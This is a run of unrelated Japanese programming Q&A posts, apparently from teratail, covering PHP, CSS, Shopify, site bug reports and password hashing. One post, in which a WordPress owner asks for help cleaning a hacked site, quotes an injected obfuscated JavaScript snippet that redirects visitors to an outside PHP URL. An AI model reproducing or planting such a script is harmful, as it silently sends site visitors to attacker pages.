常連

自己紹介

### 前提

PHPでユーザーのパスワードを伏せ字にするシステムを作成しています。
パスワードを伏せ字にできなかったので質問します。

### 実現したいこと

- [ ] $form_dataのkey["password"]のvalueを"*****"に置き換えたい。

### 発生している問題

```
パスワードを伏せ字にできない問題が発生している。
```

### 該当のソースコード

```PHP
<?php
session_start();
require_once "../functions.php";

$form_data = $_SESSION["POST"];

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>confirm.php</title>
    <link rel="stylesheet" href="../css/main.css">
</head>

<body class="register">
    <div class="register__form-wrapper">
        <h2 class="register__top">Confirm profile</h2>
        <form class="register__confirm-form">
            <?php foreach ($form_data as $key => $value) : {
                    $form_data[$key]["Password"] = "*****";
                    var_dump($form_data);
                }
            ?>
                <div class="register__confirm-row">
                    <span class="register__confirm-item"><?= $key; ?></span>
                    <span class="register__confirm-item"><?= h($value); ?></span>
                </div>
            <?php endforeach; ?>
            <div class="register__confirm-text-wrapper">
                <span class="register__confirm-attention">※まだ登録は完了していません。</span>
                <p class="register__confirm-text">
                    送信を押すと空メールがメールアドレスに送信されます。<br>
                    URLを押すと上記の内容が登録されます。
                </p>
            </div>
            <div class="register__confirm-btn-wrapper register__btn-wrapper">
                <input type="submit" class="register__confirm-btn register__btn btn" value="送信">
            </div>
        </form>
    </div>
</body>

</html>
```

### 試したコード
```PHP
  <?php foreach ($form_data as $key => $value) : {
                    $form_data[$key]["Password"] = "*****";
                    var_dump($form_data);
                }
            ?>
//出力結果
array(5) { ["first_name"]=> string(4) "*est" ["last_name"]=> string(4) "test" ["email"]=> string(13) "test@test.com" ["password"]=> string(9) "Password1" ["password_confirm"]=> string(9) "Password1" }
```
```PHP
<?php
session_start();
require_once "../functions.php";

$form_data = $_SESSION["POST"];
$replace_password = array("*****", "*****");
$slice_array = array_splice($form_data, 3, 2, $replace_password);

var_dump($form_data);

?>

//出力結果
この方法はkeyの値がなくなってしまう。
array(5) { ["first_name"]=> string(4) "test" ["last_name"]=> string(4) "test" ["email"]=> string(13) "test@test.com" [0]=> string(5) "*****" [1]=> string(5) "*****" }
```
### 回答を頂いた後に試したコード
これでハッシュ化できてますか？
```PHP
<?php
session_start();
require_once "../functions.php";

$form_data = $_SESSION["POST"];
$hashed_form_data = [
    "first_name" => $form_data["first_name"],
    "last_name" => $form_data["last_name"],
    "email" => $form_data["email"],
    "password" => password_hash($form_data["password"], PASSWORD_DEFAULT),
    "password_confirm" => password_hash($form_data["password_confirm"], PASSWORD_DEFAULT)
];
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>confirm.php</title>
    <link rel="stylesheet" href="../css/main.css">
</head>

<body class="register">
    <div class="register__form-wrapper">
        <h2 class="register__top">Confirm profile</h2>
        <form class="register__confirm-form">
            <?php foreach ($hashed_form_data as $key => $value) : ?>
                <div class="register__confirm-row">
                    <span class="register__confirm-item"><?= $key; ?></span>
                    <span class="register__confirm-item"><?= h($value); ?></span>
                </div>
            <?php endforeach; ?>
            <div class="register__confirm-text-wrapper">
                <span class="register__confirm-attention">※まだ登録は完了していません。</span>
                <p class="register__confirm-text">
                    送信を押すと空メールがメールアドレスに送信されます。<br>
                    URLを押すと上記の内容が登録されます。
                </p>
            </div>
            <div class="register__confirm-btn-wrapper register__btn-wrapper">
                <input type="submit" class="register__confirm-btn register__btn btn" value="送信">
            </div>
        </form>
    </div>
</body>

</html>
```


foreach内のkeyのvalueを変更する方法が知りたい

以下の画像をTera Padを使ってプログラミングしたいです。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-04-28/dd406e8f-fb5a-4e48-a969-df75558d06f0.jpeg)

そして、現在以下のリンク先に書いてあります要素とCSSはわかっている状況です。
[リンク内容](url)https://moodle.tiu.ac.jp/pluginfile.php/666787/mod_resource/content/1/page2.txt

画像は以下のものを使用します。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-04-28/87bb8ebb-8465-4132-bf7d-84a905a48bc4.jpeg)

リンク先の要素の不足した部分を補い完成させたいので、お手伝いしてくださる方よろしくお願い致します。

この画像のプログラミング方法を教えてください。

### 現在仕事でWordPressを使っているのですが、不正アクセスをされました。

_<script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script>_


上記のようなスクリプトがサイトのコードの途中に埋め込まれてしまい、表示に不具合が出ました。
Exploit Scannerというサイト内スキャンのプラグインを使って該当箇所の確認、アクセスされた箇所の修正、怪しいプラグインの削除を行いました。
また、Search Replace DBを使って<script>$NjS=で始まる文字列の検索もしました。
Search Replace DBやサイト内で上記スクリプトは検索されなくなりましたが、Exploit Scannerというプラグインの検索結果の中にはまだスクリプトが残ってしまっています。
他にもプラグインを入れてサイト内の文字検索や置換も試してみましたが駄目でした。

この<script>$NjS=で始まる文字列はまだサイト内にあるのかどうか、削除方法や検索方法、解決方法があればご教示いただけないでしょうか？


不正アクセスの痕跡を消したい

今認証付きウェブページを作っています。
認証後、ウェブページにたどり着いた状態で、一定時間操作がなければ(例えば１時間)、自動でログアウトさせるような仕組みを検討しています。
ただ、その仕組みがわからず、どう実装すればよいかわかりません。
javascriptのsetTimeoutを使って時間を計測する方法は見かけたのですが、これが一般的なやり方なのでしょうか。
認証しているためトークンがありますが、なにかこのトークンを用いて自動ログアウトを実装できないものでしょうか。
(トークンに関して、あまり理解できておりません。)

セッションタイムアウト、自動ログアウトの仕組みが知りたい

以下の記事を参考にして、
商品のカラー選択を"色"ではなく"ファイル(画像)"で表示したいです。
https://note.com/tech_malin/n/n21b4fa003c2a

# やったこと
- 商品オプション名: Image
- メタフィールド
  - ネームスペースとキー: image.value
  - コンテンツタイプ: ファイル

sections\main-product.liquid 
```liquid
<label for="{{ section.id }}-{{ option.name }}-{{ forloop.index0 }}">
　{ value }}
</label>
```
↓以下に修正

```liquid
{% if product.variants[forloop.index0].metafields.image.value and option.name == "Image" %}
	<label for="{{ section.id }}-{{ option.name }}-{{ forloop.index0 }}" style="background-image: url('{{ product.variants[forloop.index0].metafields.image.value }}');">
		&nbsp;
	</label>
{% else %}
<label for="{{ section.id }}-{{ option.name }}-{{ forloop.index0 }}" style="background-image: url('{{ product.variants[forloop.index0].metafields.image.value }}');">
		{{ value }}
	</label>
{% endif %}
```
でやってみたんですが、サイトコンソールを見ると
```ここに言語を入力
style="background-image: url('gid://shopify/MediaImage/27373970555031');"
```
になり上手くファイルのURLが取得できなくて、調べてみると
https://qiita.com/eijiSaito/items/ebe3465c345cafba1b42#%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB
の値しかとれないのかなと思ったんですが、他に方法がありましたらご教授お願いします。

【Shopify】商品のカラー選択を文字ではなく画像で表示したい

### 実現したいこと

マウスオーバーではなく、
「普段とまっていて、たまにカタカタ揺れる」ようなアニメーションを画像につけたいです。

具体的に、傾きがない状態から左右にカタカタ揺らしたいです。

ぜひご教示いただければ幸いです。



### 発生している問題・エラーメッセージ

```
「左に10度、傾いた状態」から始めて「左に10度、傾いた状態」で
１周分のアニメが終了というのはできたのですが、これをどうするとうまくいくかわかりませんでした。
```

### 該当のソースコード

```html
<div class="test01">
<img src="../assets/katakata.png" alt="" class="katakata01">
</div>
```
```css
.katakata01 {
    display: inline-block;
    animation:katakata 5s linear 0s infinite normal;
}

@keyframes katakata {
0%{transform:rotate(10deg);}
80%{transform:rotate(-10deg);}
85%{transform:rotate(10deg);}
90%{transform:rotate(-10deg);}
95%{transform:rotate(10deg);}
100%{transform:rotate(-10deg);}
}
```

普段とまっていて、たまにカタカタ揺れるアニメーションをつけたい

お世話になります。
このサイトのおかげで、いつも大変助かっています。
また、回答いただいている方、いつもありがとうございます。

さて、cssにおいて親と子のdisplayプロパティの関係について２つ分からない箇所があり質問させていただきました。

ソースコードは以下のとおりです。
//html
<a><span>xyz<span><a>

//css
a{  border: 1px solid #333;
     background: #f00;
}

span{
     padding: 10px 30px;  //この宣言の部分は質問と関係していません。
}

としたときの親<a>と子<span>のdisplayプロパティの関係ですが、

1つ目の質問は、
a{ display: inline;}
span{ display: block;}
とした場合、
a{  border: 1px solid #333;
     background: #f00;
}
が反映されなくなります。

２つ目の質問は、
a{ display: block;}
span{ display: inline-block;}
及び、
a{ display: inline-block;}
span{ display: inline-block;}
とした場合、
<a>のリンクを示すunderlineが表示されなくなりました。

この理由について、ご存じの方ご教授お願いできませんでしょうか。
よろしくおねがいします。




親と子のdisplayプロパティの関係について

自分で作成したYoutub動画を背景動画に使用したサイトを作りたいのですが、実例を探しています。
自分で色々調査したのですがvideoタグで作成されている方が多いようでYoutub動画を使っている方は発見できませんでした。
YouTubeが提供してくれているiframe_apiの解説サイトは多く見受けられるのですが、実際に使おうとすると画角の調整が上手くいかなかったり、音声のon,offボタンを設置できなかったりで苦戦していまして、どなたかお心当たりがあれば実践されているサイトを教えて頂けますでしょうか。藁にも縋る思いです。

どなたかお心当たりのサイトをご存じの方おられましたらお教え頂けると幸いです。

調査しても一向に見つからないので、もしかしたら、youtube動画を背景動画として使用することは何か大きな問題をはらんでいるのではとも考えてます。
もし、youtube動画を背景動画にすることの問題点をご存じの方がおられましたらあわせてお教えいただけると本当にありがたいです。



Youtub動画を背景動画に使用したサイトを探しています。

flexboxのjustify-content: space-between;を使って、ロゴとテキスト、リストを並べました。真ん中のテキスト(adressAccess)は中央に保ったまま、右のlistだけもう少し左に寄せたいです。どうすればいいでしょうか？

```20220317 質問用
<!DOCTYPE html>
<html lang="ja">

<head>

<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0">



 <title>よくある質問</title>

<style>

.body{
   font-family: "游ゴシック", "ヒラギノ角ゴ　ProN", "メイリオ", "MS Pゴシック", sans-serif;/*https://willcloud.jp/knowhow/font-family/#font-family*/
   margin: 0;
   padding: 0;
  }
 * {/*ブラウザのすべてのCSSをリセット*/
  margin: 0;
   padding: 0;
 }


@media (min-width: 1025px) {/*PC版*/
#upper_footer{
background-color: #73683B;
color: white;
display: flex;
justify-content: space-between;
/*この２つでulを右寄せした*/
}
#upper_footer:first-child{
margin-right: auto;
}
#upper_footer .logo img{
width:260px;
height:auto;
margin: 100px 0px 230px 15vw;
}

#upper_footer .adressAccess{
margin-top: 100px;
padding-top: 25px;/*微調整*/
}

#upper_footer ul.link{
margin-top: 100px;/*この高さはdisplay-widthによって変化しないので絶対値にした*/
margin-right: 20vw;
}
#upper_footer ul.link li{
list-style: none;/*liの点を消去*/
}
#upper_footer ul.link li a {
color: white;
}


#lower_footer{
background-color: #E5E5E5;
color: #73683B;
height: 60px;
display: flex;
justify-content: space-between; 
/*この２つでulを右寄せした*/
}

#lower_footer p{
line-height: 60px;/*親要素の高さとline-heightを同じにすることで、縦方向の中央寄せをした*/
margin-left: 40px;
}
#lower_footer ul.sns {
margin-right: 40px;
}
#lower_footer ul.sns li{
display: inline-block;
list-style: none;/*liの点を消去*/
margin-top: 20px;/*親要素の高さが60pxで、画像の高さが20pxなので、20px下げた。もっと一般的な方法はないのか*/

}
#lower_footer .sns img{
width: 20px;/*親要素の高さとline-heightを同じにすることで、縦方向の中央寄せをした*/
height: 20px;
}
}


</style>
</head>

<body>

<article id="wrapper">


<footer id="footer">

<div id="upper_footer">
 <div class="logo">
   <img src="img/black.png" alt="black"/>
 </div>
 <div class="adressAccess">
   <p><b>場所の名前</b></p>
   <p>住所</p>
   <p>アクセス方法</p>
 </div>
 <ul class="link">
　 <li><a href="https://www.fukuske.com" target="_blank">プラン①</a></li>
　 <li><a href="https://fukuske.co.jp" target="_blank">プラン②</a></li>
　 <li><a href="https://fukuske.co.jp/contact/" target="_blank">プラン③</a></li>
　 <li><a href="https://fukuske.co.jp/contact/" target="_blank">プラン④</a></li>
　 <li><a href="https://fukuske.co.jp/contact/" target="_blank">プラン⑤</a></li>
 </ul>
</div>


</footer>



</article>

</body>
```

flexboxを不均等に並べたい

デザインカンプを拝見したときに、max-widthが1920pxになっており、その中の要素の写真が1050pxになっていて、その通りコーディングしていくとデザインでは横幅の６割くらいを占めていてるのに、自分がコーディングしてみるとデザインが８割ほど占めていて、widthなどデザインどうりにコーディングしているのに思い通りになりません。なぜかわかる方はいらっしゃいますか？

ps.
写真を添付して質問したいのですがプライバシーや著作権の問題もあるので載せれないので、意味の分からない方はぜひ質問をしていただきたいです。よろしくお願いします。

デザインの幅が最大1920pxの場合MacBookではどうやってコーディングしたらいいのでしょうか？

![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-02-01/ade4dcca-8907-4361-a8b8-3a41abfc82d5.png)

HTMLが反映されません。困っています。
画像のように.htmlでファイル保存してあるのですがGoogleChromeタブに反映されません。
ド素人の質問で申し訳ございませんがお力添えお願いします。
VSCODEというエディタを使用しています。


HTML反映されません。

### 前提・実現したいこと

shopifyで系列店の紹介ページを作成したいと考えています。

### 発生している問題・エラーメッセージ

店舗ごとのページを作成し、「A店は商品1~10まで販売、B店は11~20まで販売」のように、そのページ内で店舗ごとに取り扱っている異なる商品を掲載したいのですが、やり方を調べても見つかりません。

イメージとしては画像のようにページ内にリンクを貼って飛ばせるようにしたいと考えています。(イメージとしてコレクションで作成しました)

![イメージ説明](f11c5a81b86fc353ffcc442bed8521c7.png)

調べても作成したページはメニューにしか貼れず、また店舗ごとのストアを作成する方法が見つからず方法をご教授いただけないでしょうか。

よろしくお願いします。

shopifyで系列店のサイトを作成し、遷移させたい

# クローズします

まだまだ不具合は**山ほど**(社会的に見て致命的と思えるものも多数)ありますが、運営状況から見て、運営の方はこれで修正が一段落したと考えているように思われます。

これ以上はここに報告しても参考にされることはないであろうと思いますので、一端クローズとさせていただきます。
これ以降は、各自直接運営の方に報告していただければと思います。

どの報告も大事ですが、クローズするにはシステム上ベストアンサーを決めなければならないので、現時点で最も高評価な回答をベストアンサーに決めさせていただきます。

大勢のご協力、ありがとうございました。

運営はなしのつぶてなので、何の責任もない私が代わりにお礼申し上げます。

---
大規模メンテナンスが終わりましたが、かなりの不具合が見られます。
開発の方で把握できたものは随時修正されると思いますが、せっかくですのでバグ出しを手伝おうではありませんか。

個人個人で報告しても良いとは思いますが、同じものが何人もから報告されると目を通すだけで時間がかかり、返信が必要な場合はそれにも時間がとられます。

そこで、この質問の修正依頼に報告することにしませんか？
なるべく前の書き込みを見て重ならないよう書いていただければありがたいですが、可能であり必要であればこちらで整理して質問または回答に掲載しようと思います。

議論の余地があるものや画像などが必要なものでしたら、回答していただいた方が見やすくなると思います。
この質問の存在はこちらから運営に知らせておきますので、よろしくお願いします。

### 2022/01/12 追記
現在、運営への報告ができない状態です。
事態が事態なので、意図的にその機能がしばらく停止されている可能性もあります。

### 2022/01/12 追記2

[morimorinoki](https://teratail.com/users/morimorinoki) さんから次のような報告を受けています。

- タイムアウトすることが多い
- 記号を使用したり文脈の変な部分での＼が入っていて読みづらい
- 画像が見られない
- ＼のせいでURLに飛びづらい
- 通知が役に立たない。
- 戻るボタンで戻ると強制的にページ最上部まで飛ぶ
- 頻繁に「Application error: a client-side exception has occurred (see the browser console for more information).」が出る。（TOREMO UZAI）
- コードを確認しようとすると下の装飾で読めない時がままある。


teratail 不具合報告

新着の質問が無いのでテストします。
それにしても完成度低すぎませんか？

質問ができるかどうかのテスト

質問の評価に関して，ヘルプを見ると，

> 質問の評価は「高評価」と「低評価」が押された数の合計で決まります。
> 質問の評価が上がると質問が人に見られやすくなり、評価が下がると見られにくくなります。
> 
> 質問の評価の合計が一定以下になった場合、フィードに表示されなくなります。
> 一度表示されなくなっても評価が上がり一定以上になった場合、再度フィードに表示されるようになります。

と書かれています．

上記引用の２行目にある

> 質問の評価が上がると質問が人に見られやすくなり、評価が下がると見られにくくなります。

とは具体的にはどのようなことなのでしょうか？

> フィードに表示されなくなります。

に関しては，
【（閾値がいくつなのかはわかりませんが）一定以下の評価値になった質問が質問一覧の「アクティブ」タグで表示されなくなる】という効果が生じていることを何度か目にしているで，このことを指すのであろうと見えますが，
閾値を下回らない限りは特に表示順に影響を与えていたりするようにも見えません．
（評価値が-1とか-2になっている質問も並び順で上側にふつうにくるように見える）

私は「優位に＋の方に評価が増えている質問」というもの自体を見たことが無いのですが，非常に評価が高くなった場合に

> 質問の評価が上がると質問が人に見られやすくなり

に相当する何らかの素敵な効果が生じたりするのでしょうか？

質問の評価による「見られやすさ」とは？

### 前提・実現したいこと

ここに質問の内容を詳しく書いてください。
cssだけでer図っぽいものをかきたいです。
例えばこんなものを簡潔にかく方法はありますか？

　　A   　　B
　　ｌ＿＿＿ｌ
　　　　ｌ
 　　  C
　　　＿ｌ＿
　　ｌ　　　ｌ
　　D　　　 ｌ
　＿ｌ＿　＿ｌ
ｌ　　　ｌ　ｌ
E 　　　F  G

### 発生している問題・エラーメッセージ

```
エラーメッセージ
```

### 該当のソースコード

```ここに言語名を入力
ソースコード
```

### 試したこと

ここに問題に対して試したことを記載してください。


### 補足情報（FW/ツールのバージョンなど）

ここにより詳細な情報を記載してください。

cssでer図っぽいものをかく

#作りたいECサイト
[https://kaku-custom.jp/](https://kaku-custom.jp/)

上記のトップ画面から「ノートを作る」を押して遷移→複数のオプションを選択して購入

このような流れのECサイトを作りたいです。

#疑問点
**「ノートを作る」をクリックしてノート作成画面に遷移→ノート作成画面でオプション選択すると、表示されている画像と価格が変更される**

こんな動作をするECサイトがshopifyで作れるのか、色々と調べてもよくわからなかったのでご質問させて頂きました！
「Liquid」と言う言語でテーマをカスタマイズすれば可能でしょうか？

Shopifyで「商品１種類 + オプション沢山」のECサイトは作れそうですか？

＜グーグルマップを利用したアプリ開発について＞

〇開発環境：iOS 
〇作りたいもの：カフェ検索アプリ
〇イメージ： 現在地から〇〇ｍ圏内にあるカフェにピンが刺さる。 
↓ 
クリックすると、Wi-Fiの有無、電源コンセントの有無、営業時間など指定の項目を掲載する （食べログでいうところの地図検索のようなイメージです）

〇現在の状況： 
GoogleMapAPIキーを取得。 YouTubeにあがっている動画を参考に、 ・現在地取得 ・検索バーの設置 までは完了しています。

〇知りたいこと
カフェ店の情報を地図上に表示する方法 GoogleMap内に蓄積されているカフェ店のデータのみを呼び出して表示すればいいんだなぁと甘く見ていましたが、 そう簡単にはいかないようです。 
自前のデータベースを準備してPHPで呼び出す、といったことが必要なのでしょうか？ 
ハイブリッドアプリにすべきかもしれない、とも考えています。 ご教授よろしくお願いいたします。

※当方、アプリ開発初心者のため、ご不明点あれば追記いたします。 お手数ですがそちらもご指摘いただけますと幸いです。

グーグルマップを利用したアプリ開発について

多くの登録制のウェブサイト(Twitterとfacebookで確認しました）は、ログイン時のパスワードをformのパラメーターに直接載せています。
しかし、パスワードが直接渡ると、サーバー側で**（`分かりづらかったため追記３：`"クラッカー"ではなく"サーバー管理者"に）**パスワードが抜き取られる可能性が出てくるので、ユーザーにとっては不安であると思います。
そこで、パスワードをブラウザ側でハッシュ化してから送るような仕組みにすればこの心配は無くなると思うのですが、そのようなことは行われていません。これはどのような理由によるものなのでしょうか。

ハッシュ化することの問題点として、
パスワードが推測されやすい文字列になっていないか確認できない。
というのが考えられますが、
レインボーテーブルなどを使えば最低限のチェックはできるのではないかと考えました。

```
追記１　質問の重複について：
SSLを利用したWebサービスでログインパスワードを安全に保存するには？(https://teratail.com/questions/49293)
既に同じような質問がありました。重複した質問をしてしまいました。すみません。（何故か議論が途中で途切れているようにみえますが）
```
```
追記２　タイトルの修正：
すでに解決した質問ですが、質問内容が伝わりづらかったため、タイトルに対して修正を行いました。
旧題：多くのサービスがログイン時に生のパスワードをそのまま送っているのはなぜか
改題：多くのサービスがログイン時に生のパスワードをそのまま送っているが、「サーバー管理者」にパスワードを悪用されることはないのか
```

```
追記４　感想：
ユーザーがサービス毎にパスワードを変えないことに問題があるという回答をいただき、解決済みとしました。
恥ずかしながら、私はサーバー管理者による悪用の対策としてパスワードを使いまわすことの問題点を知りませんでした。
要するにパスワードを使い回すな、ということで、質問文が分かりづらかったので、難しい質問だと捉えられてしまった方はすみませんでした。

しかし、パスワードを使いまわしているユーザーが８割以上いる現状を考えると、
パスワードを使いまわさないように周知すると同時に、
生のパスワードを送らせないためのなんらかの対策があったらいいなと思いました。

サービス側がクライアントサイドでハッシュ化していることを証明するのは無理でしょうが、クライアント側で解決できる問題なので、
例えばブラウザに、
デフォルトで1Passwordなどのツールをユーザーに使わせるようにしたり、
パスワードの入力画面を検出して、パスワードとドメイン名を結合したものをハッシュ化して置き換える、
（これならクライアント内で完結できますし、複数のコンピュータでも問題なく使えるはず）
などのような対策があったらいいのかなと思いました。

```

多くのサービスがログイン時に生のパスワードをそのまま送っているが、「サーバー管理者」にパスワードを悪用されることはないのか

DBへパスワードを登録するときに
password_hash($_SESSION['join1']['pw'],PASSWORD_DEFAULT)
でパスワードをハッシュ化して登録したのですが、

プロフィール更新ページを作っていて
パスワードを取得して表示させたのですが
ハッシュ化されて表示されてしまっているので
このハッシュ化されたパスワードを解除（生パスワードに戻したい）する方法が知りたいです。